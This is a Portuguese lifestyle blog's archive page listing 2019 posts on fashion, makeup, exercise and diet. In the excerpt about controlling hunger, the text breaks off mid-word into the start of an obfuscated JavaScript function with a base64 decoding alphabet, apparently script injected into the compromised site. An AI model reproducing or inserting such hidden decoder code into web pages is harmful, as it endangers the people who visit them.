Set 30, 2019 | Estilo e beleza, Teresa
Os novos cortes e penteados para o Outono/ Inverno O outono já cá está e é nesta altura que muitas vezes nos apetece mudar alguma coisa na nossa vida. Porque não começar por mudar um pouco de visual? Um pouco ou totalmente? Porque tanto pode limitar-se a adicionar...
Set 11, 2019 | Estilo e beleza, Teresa
Tudo sobre as tendências da moda Outono/Inverno 2019 São tantas as tendências para o próximo Outono/Inverno que não vai ter dificuldade em escolher as que melhor se adaptam aos seu estilo e gosto pessoal. Se é minimalista, ótimo. Se para si, quanto mais melhor,...
Ago 30, 2019 | Dicas úteis, Estilo e beleza, Teresa
Exercícios para alongar, na cama Já pensou que o seu dia de trabalho é um dia árduo de exercício físico, então precisa de um pequeno aquecimento muscular. Sabia que pode fazê-lo na cama. Sim, na sua própria cama, mesmo antes de se levantar. Não custa nada e vai...
Ago 14, 2019 | Estilo e beleza, Teresa
6 Erros de maquilhagem que lhe dão um ar cansado A maquilhagem faz milagres pelo nosso rosto. Um pouco de blush, um corretor e um batom bastam para ficarmos bem mais bonitas, mas não podemos cometer erros. A última coisa que queremos é que a maquilhagem nos dê ou...
Ago 5, 2019 | Saúde e bem estar, Teresa
Alimentos e nutrientes que ajudam a combater a ansiedade Sente-se stressado e ansioso? Ajudar a prevenir e/ou a combater um qualquer estado de ansiedade, que muitas vezes nos invade, e que tem um enorme impacto sobre a nossa saúde, é o objetivo deste artigo. Sabia...
Jul 31, 2019 | Estilo e beleza, Teresa
Na praia, com muito estilo O Verão significa sol, luz, dias compridos, alegria, energia, praia e claro, férias. Tudo isto significa também uma mudança na nossa forma de vestir, mesmo na cidade e a trabalhar. Gosto de moda, como sabem, e de me vestir com algum...
Jul 25, 2019 | Dicas úteis, Estilo e beleza, Teresa
Dicas úteis para escolher bem os seus óculos Eu adoro óculos de sol e, claro, também já uso óculos para ver melhor as coisas mais perto. Se está na altura de trocar de óculos ou de começar a usá-los, ou quer apenas uns óculos de sol, já deve estar preocupada com o...
Jul 20, 2019 | Dicas úteis, Saúde e bem estar, Teresa
Truques para controlar a fome e evitar excessos à mesa Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 17, 2019 | Receitas, Saúde e bem estar, Teresa
Porque é que os ovos ajudam a perder peso Os ovos são ricos em proteína, baixos em calorias e ajudam a estimular o metabolismo. Descobri também que existe mesmo uma dieta dos ovos e que eles ajudam a emagrecer. Neste artigo vamos saber como usá-los, na ajuda da...
Jul 8, 2019 | Dicas úteis, Faça você mesmo, Saúde e bem estar, Teresa
Exercícios e dicas para evitar lesões provocadas pelo uso excessivo do computador e telemóvel Você sabe, e eu também, que o uso continuado e excessivo das novas tecnologias tem mudado a forma como nos relacionamos com o mundo em geral e em especial com a família e...
